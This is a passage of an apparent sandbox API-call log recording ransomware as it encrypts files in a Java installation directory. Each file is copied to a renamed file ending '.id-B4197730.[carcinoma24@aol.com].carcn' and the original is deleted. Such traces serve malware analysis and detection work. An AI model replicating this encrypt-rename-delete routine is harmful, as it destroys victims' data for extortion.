[0309.734] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0309.734] lstrlenW (lpString=".pdf") returned 4 [0309.734] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0309.734] lstrlenW (lpString=".xls") returned 4 [0309.734] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0309.734] lstrlenW (lpString=".xlsx") returned 5 [0309.734] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0309.734] lstrlenW (lpString=".ppt") returned 4 [0309.734] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0309.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0309.734] lstrlenW (lpString=".zip") returned 4 [0309.734] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0309.734] lstrlenW (lpString=".rar") returned 4 [0309.735] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0309.735] lstrlenW (lpString=".bz2") returned 4 [0309.735] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0309.735] lstrlenW (lpString=".7z") returned 3 [0309.735] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0309.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0309.735] lstrlenW (lpString=".dbf") returned 4 [0309.735] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0309.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0309.735] lstrlenW (lpString=".1cd") returned 4 [0309.735] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0309.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0309.735] lstrlenW (lpString=".jpg") returned 4 [0309.735] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0309.735] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.735] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.735] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0309.736] GetLastError () returned 0x0 [0309.736] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x5434c, lpOverlapped=0x0) returned 1 [0309.742] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x54350, lpOverlapped=0x0) returned 1 [0309.747] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.747] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x102, lpOverlapped=0x0) returned 1 [0309.747] SetEndOfFile (hFile=0x33c) returned 1 [0309.748] CloseHandle (hObject=0x33c) returned 1 [0309.748] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.748] SetEndOfFile (hFile=0x390) returned 1 [0309.751] CloseHandle (hObject=0x390) returned 1 [0309.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.752] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0309.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0309.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0309.752] lstrlenW (lpString=".doc") returned 4 [0309.752] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0309.752] lstrlenW (lpString=".docx") returned 5 [0309.752] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0309.752] lstrlenW (lpString=".pdf") returned 4 [0309.753] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0309.753] lstrlenW (lpString=".xls") returned 4 [0309.753] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0309.753] lstrlenW (lpString=".xlsx") returned 5 [0309.753] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0309.753] lstrlenW (lpString=".ppt") returned 4 [0309.753] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0309.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0309.753] lstrlenW (lpString=".zip") returned 4 [0309.753] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0309.753] lstrlenW (lpString=".rar") returned 4 [0309.753] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0309.753] lstrlenW (lpString=".bz2") returned 4 [0309.753] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0309.753] lstrlenW (lpString=".7z") returned 3 [0309.753] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0309.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0309.753] lstrlenW (lpString=".dbf") returned 4 [0309.753] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0309.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0309.753] lstrlenW (lpString=".1cd") returned 4 [0309.753] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0309.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0309.753] lstrlenW (lpString=".jpg") returned 4 [0309.753] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0309.753] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.754] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0309.754] GetLastError () returned 0x0 [0309.754] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0310.574] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0310.581] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.581] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x100, lpOverlapped=0x0) returned 1 [0310.581] SetEndOfFile (hFile=0x33c) returned 1 [0310.581] CloseHandle (hObject=0x33c) returned 1 [0310.581] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.581] SetEndOfFile (hFile=0x390) returned 1 [0310.585] CloseHandle (hObject=0x390) returned 1 [0310.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.585] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0310.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0310.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0310.586] lstrlenW (lpString=".doc") returned 4 [0310.586] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0310.586] lstrlenW (lpString=".docx") returned 5 [0310.586] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0310.586] lstrlenW (lpString=".pdf") returned 4 [0310.586] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0310.586] lstrlenW (lpString=".xls") returned 4 [0310.586] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0310.586] lstrlenW (lpString=".xlsx") returned 5 [0310.586] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0310.586] lstrlenW (lpString=".ppt") returned 4 [0310.586] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0310.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0310.586] lstrlenW (lpString=".zip") returned 4 [0310.586] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0310.586] lstrlenW (lpString=".rar") returned 4 [0310.586] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0310.586] lstrlenW (lpString=".bz2") returned 4 [0310.586] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0310.586] lstrlenW (lpString=".7z") returned 3 [0310.586] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0310.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0310.586] lstrlenW (lpString=".dbf") returned 4 [0310.586] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0310.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0310.587] lstrlenW (lpString=".1cd") returned 4 [0310.587] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0310.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0310.587] lstrlenW (lpString=".jpg") returned 4 [0310.587] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0310.587] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.587] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0310.588] GetLastError () returned 0x0 [0310.588] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0310.590] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0310.593] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.593] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0310.593] SetEndOfFile (hFile=0x33c) returned 1 [0310.593] CloseHandle (hObject=0x33c) returned 1 [0310.594] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.594] SetEndOfFile (hFile=0x390) returned 1 [0310.595] CloseHandle (hObject=0x390) returned 1 [0310.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.596] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0310.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0310.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0310.597] lstrlenW (lpString=".doc") returned 4 [0310.597] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0310.597] lstrlenW (lpString=".docx") returned 5 [0310.597] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0310.597] lstrlenW (lpString=".pdf") returned 4 [0310.597] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0310.597] lstrlenW (lpString=".xls") returned 4 [0310.597] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0310.597] lstrlenW (lpString=".xlsx") returned 5 [0310.597] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0310.597] lstrlenW (lpString=".ppt") returned 4 [0310.597] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0310.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0310.597] lstrlenW (lpString=".zip") returned 4 [0310.597] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0310.597] lstrlenW (lpString=".rar") returned 4 [0310.597] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0310.597] lstrlenW (lpString=".bz2") returned 4 [0310.597] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0310.597] lstrlenW (lpString=".7z") returned 3 [0310.597] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0310.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0310.597] lstrlenW (lpString=".dbf") returned 4 [0310.597] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0310.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0310.597] lstrlenW (lpString=".1cd") returned 4 [0310.598] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0310.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0310.598] lstrlenW (lpString=".jpg") returned 4 [0310.598] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0310.598] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.598] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.598] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0310.599] GetLastError () returned 0x0 [0310.599] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0310.600] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4e90, lpOverlapped=0x0) returned 1 [0310.601] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.601] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xea, lpOverlapped=0x0) returned 1 [0310.601] SetEndOfFile (hFile=0x33c) returned 1 [0310.602] CloseHandle (hObject=0x33c) returned 1 [0310.602] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.602] SetEndOfFile (hFile=0x390) returned 1 [0310.603] CloseHandle (hObject=0x390) returned 1 [0310.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.603] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0310.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0310.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0310.604] lstrlenW (lpString=".doc") returned 4 [0310.604] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0310.604] lstrlenW (lpString=".docx") returned 5 [0310.604] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0310.604] lstrlenW (lpString=".pdf") returned 4 [0310.604] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0310.604] lstrlenW (lpString=".xls") returned 4 [0310.604] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0310.604] lstrlenW (lpString=".xlsx") returned 5 [0310.604] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0310.604] lstrlenW (lpString=".ppt") returned 4 [0310.604] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0310.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0310.604] lstrlenW (lpString=".zip") returned 4 [0310.604] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0310.604] lstrlenW (lpString=".rar") returned 4 [0310.604] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0310.604] lstrlenW (lpString=".bz2") returned 4 [0310.604] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0310.605] lstrlenW (lpString=".7z") returned 3 [0310.605] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0310.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0310.605] lstrlenW (lpString=".dbf") returned 4 [0310.605] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0310.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0310.605] lstrlenW (lpString=".1cd") returned 4 [0310.605] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0310.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0310.605] lstrlenW (lpString=".jpg") returned 4 [0310.605] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0310.605] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.605] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.605] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.451] GetLastError () returned 0x0 [0311.451] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4e61, lpOverlapped=0x0) returned 1 [0311.452] WriteFile (in: hFile=0x380, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4e70, lpOverlapped=0x0) returned 1 [0311.453] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.453] WriteFile (in: hFile=0x380, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xea, lpOverlapped=0x0) returned 1 [0311.454] SetEndOfFile (hFile=0x380) returned 1 [0311.454] CloseHandle (hObject=0x380) returned 1 [0311.454] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.454] SetEndOfFile (hFile=0x390) returned 1 [0311.455] CloseHandle (hObject=0x390) returned 1 [0311.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.455] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0311.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0311.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0311.456] lstrlenW (lpString=".doc") returned 4 [0311.456] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0311.456] lstrlenW (lpString=".docx") returned 5 [0311.456] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0311.456] lstrlenW (lpString=".pdf") returned 4 [0311.456] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0311.456] lstrlenW (lpString=".xls") returned 4 [0311.456] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0311.456] lstrlenW (lpString=".xlsx") returned 5 [0311.456] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0311.456] lstrlenW (lpString=".ppt") returned 4 [0311.456] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0311.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0311.457] lstrlenW (lpString=".zip") returned 4 [0311.457] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0311.457] lstrlenW (lpString=".rar") returned 4 [0311.457] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0311.457] lstrlenW (lpString=".bz2") returned 4 [0311.457] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0311.457] lstrlenW (lpString=".7z") returned 3 [0311.457] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0311.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0311.457] lstrlenW (lpString=".dbf") returned 4 [0311.457] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0311.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0311.457] lstrlenW (lpString=".1cd") returned 4 [0311.457] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0311.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0311.457] lstrlenW (lpString=".jpg") returned 4 [0311.457] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0311.457] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.457] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.457] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: 